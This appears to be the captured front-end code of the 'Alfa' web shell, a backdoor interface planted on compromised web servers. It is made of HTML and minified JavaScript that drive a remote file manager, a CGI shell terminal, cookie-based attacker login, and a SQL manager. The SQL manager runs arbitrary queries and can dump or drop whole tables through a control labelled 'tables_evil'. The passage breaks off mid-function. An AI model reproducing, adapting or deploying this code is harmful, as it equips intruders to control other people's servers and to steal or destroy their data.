<div id="options_window" style="background: rgba(0, 0, 0, 0.69); display: none;"><div class="editor-wrapper"><div class="editor-header"><div class="opt-title"></div><div class="editor-controller"><div class="editor-minimize" onclick="editorMinimize(&quot;options_window&quot;);"></div><div onclick="editorClose(&quot;options_window&quot;);" class="close-button"></div></div></div><div style="height:100%;" class="content_options_holder"><div class="options_tab"></div><div class="options_content" style="margin-left:14px;margin-right:30px;background:#000;overflow:auto;"></div></div></div></div>

<div id="database_window" style="background:rgba(0, 0, 0, 0.69);"><div class="editor-wrapper"><div class="editor-header"><div class="opt-title">Sql Manager</div><div class="editor-controller"><div class="editor-minimize" onclick="editorMinimize(&quot;database_window&quot;);"></div><div onclick="editorClose(&quot;database_window&quot;);" class="close-button"></div></div></div><div class="content_options_holder" style="margin-left:14px;margin-right:30px;background:#000;max-height:90%;"><div class="sql-tabs"></div><div class="sql-contents" style="max-height: 85vh;"></div></div></div></div>

<div id="cgiloader" style="display: none;"><div class="editor-wrapper"><div class="editor-header"><div class="opt-title"></div><div class="editor-controller"><div class="editor-minimize" onclick="editorMinimize(&quot;cgiloader&quot;);"></div><div onclick="editorClose(&quot;cgiloader&quot;);" class="close-button"></div></div></div><div id="cgiframe" style="position:relative;margin-left:14px;margin-right:30px;"><div class="terminal-tabs"></div><div style="height:90%;" class="terminal-contents"></div></div></div></div>
<div id="editor" style="display:none;"><div class="editor-wrapper"><div class="editor-header"><div class="editor-path"></div><div class="editor-controller"><div class="editor-minimize" onclick="editorMinimize(&quot;editor&quot;);"></div><div onclick="editorClose(&quot;editor&quot;);" class="close-button"></div></div></div><div onclick="historyPanelController(this);" mode="visible" class="history-panel-controller">&lt;&lt;</div><div class="editor-explorer"><div class="hheader"><div class="history-clear" onclick="clearEditorHistory();">Clear all</div><div class="hheader-text">History</div><div class="editor-search"><input type="text" style="text-align:center;" id="search-input" placeholder="search"></div></div><div class="history-list"></div></div><div class="editor-modal"><div class="editor-body"><div class="editor-content"><div class="editor-tabs"></div><div class="editor-content-holder"></div></div></div></div></div></div>
<div id="update-content"></div>
<div id="database_window-minimized" onclick="showEditor(&quot;database_window&quot;);"><div class="minimized-wrapper"><span class="options_min_badge">0</span><div class="minimized-text" style="top: 15px;">Database</div></div></div>
<div id="options_window-minimized" onclick="showEditor(&quot;options_window&quot;);"><div class="minimized-wrapper"><span class="options_min_badge">0</span><div style="top: 4px;" class="minimized-text">Options</div></div></div>
<div id="editor-minimized" onclick="showEditor(&quot;editor&quot;);"><div class="minimized-wrapper"><span class="options_min_badge">0</span><div style="top: 2px;" class="minimized-text">Editor</div></div></div>
<div id="cgiloader-minimized" onclick="showEditor(&quot;cgiloader&quot;);"><div class="minimized-wrapper"><span class="options_min_badge">0</span><div style="top: 12px;" class="minimized-text">Cgi Shell</div></div></div>
<div id="rightclick_menu">
  <a target="_blank" href="" name="newtab"><img src="http://solevisible.com/icons/menu/newtab.svg"> Open in new tab</a>
  <a target="_blank" href="" name="link"><img src="http://solevisible.com/icons/menu/link.svg"> Open file directly</a>
  <a href="javascript:void(0);" name="download"><img src="http://solevisible.com/icons/menu/download2.svg"> Download</a>
  <a href="" name="view"><img src="http://solevisible.com/icons/menu/view.svg"> View</a>
  <a href="javascript:void(0);" onclick="alfaSyncMenuToOpt(this);" path="" fname="" name="view_archive"><img src="http://solevisible.com/icons/menu/view.svg"> View Archive</a>
  <a href="" name="edit"><img src="http://solevisible.com/icons/menu/edit.svg"> Edit</a>
  <a href="javascript:void(0);" onclick="alfaPopupAction(this, &quot;move&quot;);" ftype="" path="" fname="" name="move"><img src="http://solevisible.com/icons/menu/move.svg"> Move</a>
  <a href="javascript:void(0);" onclick="alfaPopupAction(this, &quot;copy&quot;);" ftype="" path="" fname="" name="copy"><img src="http://solevisible.com/icons/menu/copy.svg"> Copy</a>
  <a href="javascript:void(0);" onclick="alfaPopupAction(this, &quot;rename&quot;);" ftype="" path="" fname="" name="rename"><img src="http://solevisible.com/icons/menu/rename.svg">  Rename</a>
  <a href="javascript:void(0);" onclick="alfaPopupAction(this, &quot;modify&quot;);" ftype="" path="" fname="" name="modify"><img src="http://solevisible.com/icons/menu/time.svg">  Modify</a>
  <a href="javascript:void(0);" onclick="alfaPopupAction(this, &quot;permission&quot;);" name="permission"><img src="http://solevisible.com/icons/menu/key.svg"> Change Permissions</a>
  <a href="javascript:void(0);" onclick="alfaSyncMenuToOpt(this);" path="" fname="" name="compress"><img src="http://solevisible.com/icons/menu/resize.svg"> Compress</a>
  <a href="javascript:void(0);" onclick="alfaSyncMenuToOpt(this);" path="" fname="" name="extract"><img src="http://solevisible.com/icons/menu/increase.svg"> Extract</a>
  <a href="javascript:void(0);" name="delete"><img src="http://solevisible.com/icons/menu/delete.svg"> Delete</a>
</div>
<div id="filesman-tab-full-path"></div>
<div id="alert-area" class="alert-area"></div>
<div class="cl-popup-fixed" style="display:none;">
	<div id="shortcutMenu-holder">
		<div class="popup-head"></div>
			<form autocomplete="off" onsubmit="return false;">
				<label class="old-path-lbl"></label>
				<div style="overflow: hidden;white-space: nowrap;text-overflow: ellipsis;" class="old-path-content"></div>
				<label style="margin-top:10px;" class="new-filename-lbl">New file name</label>
				<input type="text" name="fname">
				<div class="perm-table-holder">
					<table>
					   <tbody>
					      <tr>
					         <td><b>Mode</b></td>
					         <td>User</td>
					         <td>Group</td>
					         <td>World</td>
					      </tr>
					      <tr>
					         <td>Read</td>
					         <td><input type="checkbox" name="ur" value="4" onclick="calcperm();"></td>
					         <td><input type="checkbox" name="gr" value="4" onclick="calcperm();"></td>
					         <td><input type="checkbox" name="wr" value="4" onclick="calcperm();"></td>
					      </tr>
					      <tr>
					         <td>Write</td>
					         <td><input type="checkbox" name="uw" value="2" onclick="calcperm();"></td>
					         <td><input type="checkbox" name="gw" value="2" onclick="calcperm();"></td>
					         <td><input type="checkbox" name="ww" value="2" onclick="calcperm();"></td>
					      </tr>
					      <tr>
					         <td>Execute</td>
					         <td><input type="checkbox" name="ux" value="1" onclick="calcperm();"></td>
					         <td><input type="checkbox" name="gx" value="1" onclick="calcperm();"></td>
					         <td><input type="checkbox" name="wx" value="1" onclick="calcperm();"></td>
					      </tr>
					      <tr>
					         <td>Permission</td>
					         <td><input style="width:60px;" type="text" name="u" maxlength="1" oninput="this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, &quot;u&quot;, [&quot;u&quot;]);"></td>
					         <td><input style="width:60px;" type="text" name="g" maxlength="1" oninput="this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, &quot;g&quot;, [&quot;g&quot;]);"></td>
					         <td><input style="width:60px;" type="text" name="w" maxlength="1" oninput="this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, &quot;w&quot;, [&quot;w&quot;]);"></td>
					      </tr>
					   </tbody>
					</table>
				</div>

			</form>
		<div class="popup-foot">
			<button style="background: #2b5225;" name="accept" action="" onclick="alfaPopUpDoAction(this);"></button>
			<button style="background: #9e2c2c;" onclick="d.querySelector(&quot;.cl-popup-fixed&quot;).style.display=&quot;none&quot;;">Cancell</button>
		</div>
	</div>
</div><script>
function alfaMysqlApi(e,t){var a={host:mysql_cache[e.db_id].host,user:mysql_cache[e.db_id].user,pass:mysql_cache[e.db_id].pass,db:e.db_target,db_id:e.db_id};if(e.hasOwnProperty("db_info"))for(var i in e.db_info)a[i]=e.db_info[i];var l={a:alfab64("Sql_manager_api"),c_:alfab64(c_),alfa1:alfab64(JSON.stringify(a))};if(e.hasOwnProperty("post"))for(var i in e.post.hasOwnProperty("alfa2")&&"load_data"!=e.post.alfa2&&"page"!=e.post.alfa2&&"edit"!=e.post.alfa2&&"delete"!=e.post.alfa2&&(d.querySelector("#"+e.db_id+" .mysql-query-result-header .mysql-query-pager").innerHTML="",d.querySelector("#"+e.db_id+" .mysql-query-result-header .mysql-query-reporter").innerHTML=""),e.post)l[i]=alfab64(e.post[i]);var r="";for(var o in l)r+=o+"="+l[o]+"&";alfaloader(e.db_id,"block"),_Ajax(d.URL,r,function(a){alfaloader(e.db_id,"none"),t(a)},!0,e.db_id)}function alfaMysqlFilterTable(e,t){setTimeout(function(){var a="",i="",l=(a="","");if(null!=e)a=e.getAttribute("target"),i=e.getAttribute("db_id"),l=e.value;else a=t.target,i=t.db_id,l=t.value;l=new RegExp(l,"i"),d.querySelectorAll("#"+i+" "+a+" ul > li").forEach(function(e){var t=e.querySelector(".mysql_tables");if(null==t)return!1;-1==(t=t.innerText).search(l)?e.style.display="none":e.style.display="block"})},200)}function alfaMysqlFilterAllTable(e,t){var a=e.getAttribute("db_id"),i=d.querySelector("#"+a+" .mysql-tables input[name=filter_all]").value,l=d.querySelector("#"+a+" input[name=sql_count]").checked,r=[],o=[];if(d.querySelectorAll("#"+a+" .mysql-tables .list_container").forEach(function(e){var t=e.getAttribute("mode"),a=e.getAttribute("db_name");"no"==t&&r.push(a),o.push(a)}),r.length>0){if(0==i.length&&void 0===t)return!1;alfaMysqlApi({db_id:a,db_target:r[0],ajax_id:"mysql_get_all_tables",db_info:{databases:r},post:{alfa2:"load_all_tables",alfa3:l}},function(r){if(0!=r.length){for(var o in r=JSON.parse(r)){var n=o,s=d.querySelector("#"+a+" .cls-"+n);alfaMysqlMakeTblList(r[o],s,a,n,l)}void 0===t?alfaMysqlFilterTable(null,{db_id:a,target:".mysql-tables .list_container",value:i}):(e.setAttribute("mode","opened"),d.querySelector("#"+a+" .mysql-tables .parent-expander img").src="http://solevisible.com/icons/menu/b_minus.png")}})}else if(void 0===t)for(var n in alfaMysqlFilterTable(null,{db_id:a,target:".mysql-tables .list_container",value:i}),o)alfaMysqlTableMode(a,o[n],"closed");else{var s="",c=e.getAttribute("mode");for(var n in"opened"==c?(e.setAttribute("mode","closed"),s="b_plus.png"):(e.setAttribute("mode","opened"),s="b_minus.png"),o)alfaMysqlTableMode(a,o[n],c);d.querySelector("#"+a+" .mysql-tables .parent-expander img").src="http://solevisible.com/icons/menu/"+s}}function alfaMysqlTableMode(e,t,a){var i=d.querySelector("#"+e+" .cls-"+t),l="";void 0===a?(l=-1!=i.classList.value.indexOf("hide-db-tables")?"b_minus.png":"b_plus.png",i.classList.toggle("hide-db-tables")):"opened"==a?(l="b_plus.png",i.classList.add("hide-db-tables")):(l="b_minus.png",i.classList.remove("hide-db-tables")),d.querySelector("#"+e+" .cls-"+t+"-expander img").src="http://solevisible.com/icons/menu/"+l}function alfaMysqlExpander(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=e.getAttribute("sql_count"),l=d.querySelector("#"+a+" .cls-"+t);"loaded"==l.getAttribute("mode")?alfaMysqlTableMode(a,t):alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_get_tables",post:{alfa2:"load_tables",alfa3:i}},function(e){0!=e.length&&alfaMysqlMakeTblList(e=JSON.parse(e),l,a,t,i)})}function alfaMysqlTablesEvil(e){var t=e.getAttribute("target"),a=e.getAttribute("db_id"),i=e.getAttribute("mode");"checked"==i?(i=!1,e.setAttribute("mode","not")):(i=!0,e.setAttribute("mode","checked")),d.querySelectorAll("#"+a+" "+t+" input[name=tbl\\[\\]]").forEach(function(e){e.checked=i})}function alfaMysqlTablesDumpDrop(e){var t=e.getAttribute("target"),a=e.getAttribute("db_id"),i="none";"dump"==e.value&&(i="block"),d.querySelector("#"+a+" "+t+" .dump-file-holder").style.display=i}function alfaMysqlTablesDumpDropBtn(e){var t=e.getAttribute("target"),a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=[],r=d.querySelector("#"+i+" input[name=sql_count]").checked,o=d.querySelector("#"+i+" "+t),n=o.querySelector("select[name=tables_evil]").value,s=o.querySelector(".dump-file-holder input").value;d.querySelectorAll("#"+i+" "+t+" input[name=tbl\\[\\]]").forEach(function(e){e.checked&&l.push(e.value)}),l.length>0&&alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_query_evil",db_info:{tables:l,mode:n,dump_file:s},post:{alfa2:"dump_drop"}},function(e){0!=e.length&&(e=JSON.parse(e),"drop"==n?alfaMysqlMakeTblList(e,o,i,a,r):o.querySelector(".dump-file-holder").insertAdjacentHTML("beforeend","<div><a href='javascript:void(0);' onclick='g(\"FilesTools\",null,\""+s+'","download");\'><span>Download: '+s+"</span></a></div>"))})}function alfaMysqlMakeTblList(e,t,a,i,l){t.setAttribute("mode","loaded");var r='<ul><li><div class="block"><i></i><b></b></div><div><input style="padding: 0;margin-left: 11px;text-align:center;" type="text" class="db-opt-id" db_id="'+a+'" placeholder="Filter Table" target=".cls-'+i+'" onkeyup="alfaMysqlFilterTable(this);" name="filter"></div></li>';for(var o in e)null!=e[o]&&(r+="<li><div class='block'><i></i><b></b></div><div class='tables-row'><input type='checkbox' name='tbl[]' value='"+e[o].name+"'>&nbsp;<a class='db-opt-id' db_target='"+i+"' db_id='"+a+"' href='javascript:void(0);' onclick=\"alfaLoadTableData(this, '"+e[o].name+"')\"><span class='mysql_tables' style='font-weight:unset;'>"+e[o].name+"</span></a>"+(l?" <small><span style='font-weight:unset;' class='mysql_table_count'>("+e[o].count+")</span></small>":"&nbsp;")+"</div></li>");r+='</ul><div style="margin-left: 26px;margin-bottom: 10px;margin-top: 10px;"><input onchange="alfaMysqlTablesEvil(this);" db_id="'+a+'" class="db-opt-id" target=".cls-'+i+'" type="checkbox" class="db-opt-id"><select onchange="alfaMysqlTablesDumpDrop(this);" class="db-opt-id" db_id="'+a+'" target=".cls-'+i+'" class="db-opt-id" name="tables_evil" style="padding: 0;width: 100px;"><option selected>drop</option><option>dump</option></select> <button onclick="alfaMysqlTablesDumpDropBtn(this);return false;" db_id="'+a+'" class="db-opt-id" db_target="'+i+'" target=".cls-'+i+'" class="db-opt-id">Do it</button><div class="dump-file-holder" style="display:none;margin-left:20px;margin-top: 5px;"><input style="padding: 0;text-align:center;" type="text" placeholder="dump.sql" name="dump_file"></div></div>',t.innerHTML=r,d.querySelector("#"+a+" .cls-"+i+"-expander img").src="http://solevisible.com/icons/menu/b_minus.png"}function alfaMysqlQuery(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a+" textarea[name=query]").value;alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_load_query_data",db_info:{query:i},post:{alfa2:"query"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.status?e.table:"",alfaMysqlTabCtl({child:1,db_id:a,target:".mysql-query-result-content"},!0))})}function alfaMysqlReportBuilder(e,t){var a="";t.status||(a="<div><span>Error: </span><div style='padding-left: 50px;'><pre>"+t.error+"</pre></div></div>");var i="<div><span>Query:</span><div style='padding-left: 50px;'><pre>"+t.query+"</pre></div>"+a+"</div>";d.querySelector("#"+e+" .mysql-query-reporter").innerHTML=i}function alfaMysqlTablePanelCtl(e){var t=e.getAttribute("db_id"),a=(t=e.getAttribute("db_id"),d.querySelector("#"+t)),i=a.querySelector(".tables-panel-ctl");"none"==i.getAttribute("mode")?(a.querySelector(".mysql-tables").style.display="block",i.setAttribute("mode","block"),i.innerHTML="&#x3C;&#x3C;",a.querySelector(".mysql-query-results-fixed").classList.remove("mysql-query-results-fixed")):(a.querySelector(".mysql-tables").style.display="none",i.setAttribute("mode","none"),i.innerHTML="&#x3E;&#x3E;",a.querySelector(".mysql-query-results").classList.add("mysql-query-results-fixed")),i.classList.toggle("tables-panel-ctl-min")}function alfaMysqlTabCtl(e,t){var a=void 0===t?e.getAttribute("db_id"):e.db_id,i=void 0===t?e.getAttribute("target"):e.target;d.querySelectorAll("#"+a+" .mysql-query-content").forEach(function(e){e.classList.add("mysql-hide-content")}),d.querySelector("#"+a+" .mysql-query-result-tabs .mysql-query-selected-tab").classList.remove("mysql-query-selected-tab"),void 0===t?e.classList.add("mysql-query-selected-tab"):d.querySelector("#"+a+" .mysql-query-result-tabs div:nth-child("+e.child+")").classList.add("mysql-query-selected-tab"),d.querySelector("#"+a+" "+i).classList.remove("mysql-hide-content")}function alfaLoadTableData(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id");alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_load_table_data",db_info:{table:t},post:{alfa2:"load_data"}},function(e){if(0!=e.length){e=JSON.parse(e);var l="",r="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th></tr>",o="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th><th>Change</th></tr>",n="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Collation</th><th>Operator</th><th>Value</th></tr>",s=["int","smallint","bigint","tinyint","mediumint"],c=["longtext","text","mediumtext","tinytext"];for(var u in e.columns){var p="text";-1!=s.indexOf(e.columns[u].data_type)&&(p="number"),n+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td>"+e.columns[u].type+"</td><td>"+e.columns[u].collation+"</td><td><select name='"+e.columns[u].name+"'><option value='='>=</option><option value='!='>!=</option><option value='>'>&gt;</option><option value='>='>&gt;=</option><option value='<'>&lt;</option><option value='<='>&lt;=</option><option value=\"= ''\">= ''</option><option value=\"!= ''\">!= ''</option><option value='LIKE'>LIKE</option><option value='LIKE %...%'>LIKE %...%</option><option value='NOT LIKE'>NOT LIKE</option><option value='REGEXP'>REGEXP</option><option value='REGEXP ^...$'>REGEXP ^...$</option><option value='NOT REGEXP'>NOT REGEXP</option><option value='IN (...)'>IN (...)</option><option value='NOT IN (...)'>NOT IN (...)</option><option value='BETWEEN'>BETWEEN</option><option value='NOT BETWEEN'>NOT BETWEEN</option><option value='IS NULL'>IS NULL</option><option value='IS NOT NULL'>IS NOT NULL</option></select></td><td><input type='"+p+"' name='"+e.columns[u].name+"'></td></tr>";var f=alfaMysqlLoadDataType(e.columns[u].data_type);null==e.columns[u].type_value&&(e.columns[u].type_value=""),o+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td><select name='sel_"+e.columns[u].name+"'>"+f+"</select></td><td><input name='value_"+e.columns[u].name+"' type='text' value='"+(-1==c.indexOf(e.columns[u].data_type)?e.columns[u].type_value:"")+"'></td><td><button col_name='"+e.columns[u].name+"' tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlAlterTbl(this);return false;'>Change</button></td></tr>";var m="";switch(e.columns[u].data_type){case"longtext":case"text":m="<textarea name='"+e.columns[u].name+"' rows='5'></textarea>";break;case"int":case"smallint":case"bigint":m="<input type='number' name='"+e.columns[u].name+"' value=''>";break;default:m="<input type='text' name='"+e.columns[u].name+"' value=''>"}r+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td>"+e.columns[u].type+"</td><td>"+m+"</td></tr>"}if(r+="</table><div style='margin-left:20px;'><button tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlUpdateRow(this, \"insert\");return false;'>Insert</button></div><div class='mysql-insert-result'></div>",o+="</table><div class='mysql-structure-qres'></div>",n+="</table><div style='padding-left: 384px;margin-top: 15px;'><button tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlSearch(this);return false;'>Search</button></div>",e.pages>0){l+="<span style='cursor:pointer;' db_id='"+i+"' onclick='alfaMysqlChangePage(this,1);'><<</span> <span> page: </span> <select tbl_name='"+t+"' db_target='"+a+"' name='mysql-q-pages' db_id='"+i+"' class='db-opt-id' onchange='alfaMysqlChangePage(this);' pages='"+e.pages+"'>";for(var b=1;b<e.pages+1;b++)l+="<option>"+b+"</option>";l+="</select><span> Of "+e.pages+"</span> <span style='cursor:pointer;' db_id='"+i+"' onclick='alfaMysqlChangePage(this,2);'>>></span>"}var y=d.querySelector("#"+i);y.querySelector(".mysql-search-area").innerHTML=n,y.querySelector(".mysql-insert-row").innerHTML=r,y.querySelector(".mysql-edit-row").innerHTML="",y.querySelector(".mysql-structure").innerHTML=o,y.querySelector(".mysql-query-result-header .mysql-query-pager").innerHTML=l,y.querySelector(".mysql-query-table").innerHTML=e.status?e.table:"",alfaMysqlTabCtl({child:1,db_id:i,target:".mysql-query-result-content"},!0),d.querySelector("#"+i+" .mysql-query-result-tabs div:nth-child(6)").style.display="none",alfaMysqlReportBuilder(i,e)}})}function alfaMysqlAlterTbl(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a),l=e.getAttribute("tbl_name"),r=e.getAttribute("col_name"),o={};o.type=i.querySelector(".mysql-structure select[name=sel_"+r+"]").value,o.input=i.querySelector(".mysql-structure input[name=value_"+r+"]").value,alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_table_alter",db_info:{table:l,column:r,alter:o},post:{alfa2:"alter"}},function(e){var t=d.querySelector("#"+a+" .mysql-structure-qres");t.innerHTML=e,t.style.display="block"})}function alfaMysqlSearch(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a),l=e.getAttribute("tbl_name"),r={};i.querySelectorAll(".mysql-search-area input, .mysql-search-area select").forEach(function(e){r.hasOwnProperty(e.name)||(r[e.name]={}),"SELECT"==e.tagName?r[e.name].opt=e.value:r[e.name].value=e.value}),alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_table_search_query",db_info:{table:l,search:r},post:{alfa2:"search"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),alfaMysqlTabCtl({child:1,db_id:a,target:".mysql-query-result-content"},!0),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.table)})}function alfaMysqlEditRow(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=(d.querySelector("#"+i),e.getAttribute("col_key")),r=e.getAttribute("key"),o=e.getAttribute("tbl_name"),n=e.getAttribute("row_id");alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_table_edit_query",db_info:{table:o,col_key:l,key:r},post:{alfa2:t}},function(e){if(0!=e.length)if(e=JSON.parse(e),"edit"==t){var s="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th></tr>";for(var c in e){var u="";switch(e[c].type.tag){case"textarea":u="<textarea name='"+e[c].col+"' rows='5'>"+e[c].value+"</textarea>";break;case"input":u="<input type='"+e[c].type.type+"' name='"+e[c].col+"' value='"+e[c].value+"'>"}s+="<tr><th style='text-align: left;'>"+e[c].col+"</th><td>"+e[c].type.col_type+"</td><td>"+u+"</td></tr>"}s+="</table><div style='margin-left:20px;'><button col_key='"+l+"' key='"+r+"' tbl_name='"+o+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlUpdateRow(this, \"edit\");return false;'>Update</button></div><div class='mysql-update-result'></div>",d.querySelector("#"+i+" .mysql-edit-row").innerHTML=s,alfaMysqlTabCtl({child:6,db_id:i,target:".mysql-edit-row"},!0),d.querySelector("#"+i+" .mysql-query-result-tabs div:nth-child(6)").style.display="inline-block"}else"delete"==t&&(e.status?d.querySelector("#"+i+" .tbl_row_l"+n).remove():alert(e.error))})}function alfaMysqlTblSelectAll(e){var t=e.getAttribute("db_id");d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\[\\]]").forEach(function(t){t.checked=e.checked})}function alfaMysqlDeleteAllSelectedrows(e){var t=e.getAttribute("db_id"),a=e.getAttribute("db_target"),i=e.getAttribute("col_key"),l=e.getAttribute("tbl_name"),r=[];if(d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\[\\]]").forEach(function(e){e.checked&&r.push(e.value)}),0==r.length)return!1;alfaMysqlApi({db_id:t,db_target:a,ajax_id:"mysql_table_delete_all_query",db_info:{table:l,col_key:i,rows:r},post:{alfa2:"delete_all"}},function(e){if(""!=e)if((e=JSON.parse(e)).status){var a=0,i=d.querySelector("#"+t);d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\[\\]]").forEach(function(e){e.checked&&(a=e.getAttribute("row_id"),i.querySelector(".tbl_row_l"+a).remove())})}else alert(e.error)})}function alfaMysqlUpdateRow(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=d.querySelector("#"+i),r=".mysql-insert-row",o=".mysql-insert-result",n="mysql_table_insert_query",s="insert",c={table:e.getAttribute("tbl_name")};if("edit"==t){var u=e.getAttribute("col_key"),p=e.getAttribute("key");r=".mysql-edit-row",o=".mysql-update-result",n="mysql_table_update_query",s="update",c.col_key=u,c.key=p}var f={};l.querySelectorAll(r+" input, "+r+" textarea").forEach(function(e){f.hasOwnProperty(e.name)||(f[e.name]={}),f[e.name]=e.value}),c.data=f,alfaMysqlApi({db_id:i,db_target:a,ajax_id:n,db_info:c,post:{alfa2:s}},function(e){if(0!=e.length){e=JSON.parse(e);var t=d.querySelector("#"+i+" "+o);t.style.display="block",e.status?t.innerHTML="Success...":t.innerHTML=e.error}})}function alfaMysqlLoadDataType(e){e=e.toUpperCase();var t=["INT","VARCHAR","TEXT","DATE",{key:"Numeric",vals:["TINYINT","SMALLINT","MEDIUMINT","INT","BIGINT","-","DECIMAL","FLOAT","DOUBLE","REAL","-","BIT","BOOLEAN","SERIAL"]},{key:"Date and time",vals:["DATE","DATETIME","TIMESTAMP","TIME","YEAR"]},{key:"String",vals:["CHAR","VARCHAR","-","TINYTEXT","TEXT","MEDIUMTEXT","LONGTEXT","-","BINARY","VARBINARY","-","TINYBLOB","MEDIUMBLOB","BLOB","LONGBLOB","-","ENUM","SET"]},{key:"Spatial",vals:["GEOMETRY","POINT","LINESTRING","POLYGON","MULTIPOINT","MULTILINESTRING","MULTIPOLYGON","GEOMETRYCOLLECTION"]},{key:"JSON",vals:["JSON"]}],a="",i=!1;for(var l in t)if("object"==typeof t[l]){for(var r in a+='<optgroup label="'+t[l].key+'">',t[l].vals)a+="<option"+(t[l].vals[r]!=e||i?"":" selected")+">"+t[l].vals[r]+"</option>",t[l].vals[r]==e&&(i=!0);a+="</optgroup>"}else a+="<option"+(t[l]!=e||i?"":" selected")+">"+t[l]+"</option>",t[l]==e&&(i=!0);return a}function alfaMysqlChangePage(e,t){var a=e.getAttribute("db_id"),i=0;if(void 0!==t){e=d.querySelector("#"+a+" select[name=mysql-q-pages]");var l=parseInt(e.getAttribute("pages"));if(i=parseInt(e.value),1==t?--i:++i,0==i||l<i)return!1;e.value=i}else i=e.value;var r=e.getAttribute("db_target"),o=e.getAttribute("tbl_name");alfaMysqlApi({db_id:a,db_target:r,ajax_id:"mysql_table_change_page",db_info:{table:o,page:i},post:{alfa2:"page"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.table)})}function alfaRemoveCookie(e){document.cookie=e+"=;Max-Age=0; path=/;"}function alfaLogOut(){alfaRemoveCookie("AlfaUser"),alfaRemoveCookie("AlfaPass"),location.reload()}var alfaAlertBox=function(e,t){this.types={success:{class:"alert-success",icon:"http://solevisible.com/icons/menu/check-mark1.svg"},error:{class:"alert-error",icon:"http://solevisible.com/icons/menu/warning.svg"}},this.show=function(a){if(""===a||null==a)throw'"msg parameter is empty"';var i=document.querySelector(e),l=document.createElement("DIV"),r=document.createElement("DIV"),o=document.createElement("DIV"),n=document.createElement("A"),s=document.createElement("div"),c=document.createElement("IMG"),d=this;if(s.style.display="inline-block",s.style.marginRight="10px",r.style.display="inline-block",o.classList.add("alert-content"),o.innerText=a,n.classList.add("alert-close"),n.setAttribute("href","#"),l.classList.add("alert-box"),c.src=this.types[t.type].icon,c.style.width="30px",s.appendChild(c),l.appendChild(s),t.hasOwnProperty("title")){var u=document.createElement("DIV");u.classList.add("alert-content-title"),u.innerText=t.title,r.appendChild(u)}if(r.appendChild(o),l.appendChild(r),t.hideCloseButton&&void 0!==t.hideCloseButton||l.appendChild(n),t.hasOwnProperty("type")&&l.classList.add(this.types[t.type].class),i.appendChild(l),n.addEventListener("click",function(e){e.preventDefault(),d.hide(l)}),!t.persistent)var p=setTimeout(function(){d.hide(l),clearTimeout(p)},t.closeTime)},this.hide=function(e){e.classList.add("hide");var t=setTimeout(function(){e.parentNode.removeChild(e),clearTimeout(t)},500)}};function alfaShowNotification(e,t,a,i,l){void 0===a&&(a="success"),void 0===i&&(i=!1),void 0===l&&(l=1e4);var r={closeTime:l,persistent:i,type:a,hideCloseButton:!1};void 0!==t&&(r.title=t),new alfaAlertBox("#alert-area",r).show(e)}function alfaSyncMenuToOpt(e,t){var a="",i="",l=null;void 0!==t?(a="view_archive",i=e,l=location):(a=e.name,i=e.getAttribute("fname"),l=e),"extract"==a?(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=deziper",g("deziper",null,"","",c_+"/"+i),d.querySelector(".opt-title").innerHTML="DeCompressor"):"compress"==a?(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=ziper",g("ziper",null,"","",c_+"/"+i),d.querySelector(".opt-title").innerHTML="Compressor"):"view_archive"==a&&(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=archive_manager",g("archive_manager",null,"",c_+"/"+i,""),d.querySelector(".opt-title").innerHTML="Archive Manager")}function doFilterName(e){var t="#filesman_holder_"+alfa_current_fm_id;setTimeout(function(){var a=new RegExp(e.value,"i");d.querySelectorAll(t+" .fmanager-row").forEach(function(e){-1==e.querySelector(".main_name").getAttribute("fname").search(a)?e.style.display="none":e.style.display="table-row"})},100)}function sortBySelectedValue(e,t){setCookie(t,e.options[e.selectedIndex].value,2012),g("FilesMan",c_)}function loadPopUpDatabase(e,t,a){if(console.log(t),$("database_window").style.display="block",void 